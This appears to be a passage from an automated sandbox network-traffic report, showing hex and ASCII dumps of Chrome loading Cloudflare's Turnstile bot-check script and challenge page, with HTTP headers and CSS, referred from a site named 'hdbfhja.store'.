r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 6c 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d Data Ascii: urn e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,l,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 76 61 72 20 46 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 46 7c 7c 28 46 3d 7b 7d 29 29 3b 76 61 72 20 56 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 4f 52 4d 41 4c 3d 22 6e 6f 72 6d 61 6c 22 Data Ascii: ked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;var F;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(F\|\|(F={}));var V;(function(e){e.NORMAL="normal"
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 3d 22 73 74 72 69 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ="string"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 68 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 64 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c Data Ascii: h,"turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(t.theme,"/").concat(t.size).concat(d)}function ke(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Bt(e,
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 71 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 20 78 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 61 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 Data Ascii: nction(o){if(o===null\|\|!qt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,l)}function l(){return xe(o,arguments,ae(this).construct
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 72 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 74 3d 65 2e 73 72 63 2c 6f 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 72 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b Data Ascii: nd Turnstile script tag, some features may not be available",43777);var r={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(r.loadedAsync=!0);var t=e.src,o=t.split("?");return o.length>1&&(r.params=new URLSearchParams(o[1])),r}function D(){
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 79 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 79 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 31 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 31 32 32 70 78 22 2c 79 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e Data Ascii: 0px",y.style.position="absolute",y.style.zIndex="21474836420",y.style.borderWidth="1px",y.style.borderColor="#000",y.style.borderStyle="solid",y.style.backgroundColor="#ffffff",y.style.borderRadius="10px",y.style.left="-122px",y.style.top="-91px",y.style.
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 29 3b 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c 22 35 22 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a Data Ascii: );c.setAttribute("stroke-width","3"),c.setAttribute("stroke","#fff"),c.setAttribute("fill","none"),c.setAttribute("x1","6"),c.setAttribute("x2","18"),c.setAttribute("y1","18"),c.setAttribute("y2","5"),i.appendChild(c);var a=document.createElementNS("http:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49774	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:22 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:22 UTC	1279	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-resource-policy: cross-origin cross-origin-opener-policy: same-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA document-policy: js-profiling cross-origin-embedder-policy: require-corp
2024-05-07 18:31:22 UTC	199	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 20 62 6c 6f 62 3a 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 30 33 34 39 35 66 39 62 64 35 35 65 36 38 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' vary: accept-encoding Server: cloudflare CF-RAY: 8803495f9bd55e68-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 35 32 35 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 5259 <!DOCTYPE HTML> <html lang="en-US"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10; } #success-icon .p1
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active, .theme-dark #challenge-error-text a:focus { color: #949494; } .theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222; } .theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222; } .theme-dark #qr { fill: rgb(243, 128, 32); } .theme-dark .logo-text { fill: #fff; } .theme-dark #fr-helper-link, .theme-dark #fr-helper-loop-link { color: #bbb; } .theme-dark #fr-helper-link:visited, .th
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa; } #challenge-overlay, #challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px; } #challenge-overlay a, #challenge-error-text a { color: #1d1f20; } #challenge-overlay a:visited, #challenge-overla
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 Data Ascii: ~ .mark { border: 2px solid #c44d0e; } .ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline; } .ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e; } .ctp-checkbox-label input:focus ~ span.ctp-label { tex
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a Data Ascii: pacer { margin-right: 3px; margin-left: 3px; } .size-compact .ctp-checkbox-container { text-align: left; } .size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px; } .size-compact .cb-container { margin-top: 3px; margin-left:
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 72 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 63 6f 6e 2c 0a 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 36 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: r-icon { left: 255px; margin-left: 8px; } .rtl #timeout-icon, .rtl #expired-icon { left: 255px; margin-left: 8px; } .rtl #branding { margin: 0 0 0 16px; padding-right: 0; padding-left: 0; width: 90px; text-align: center; } .rtl .size-com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49775	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
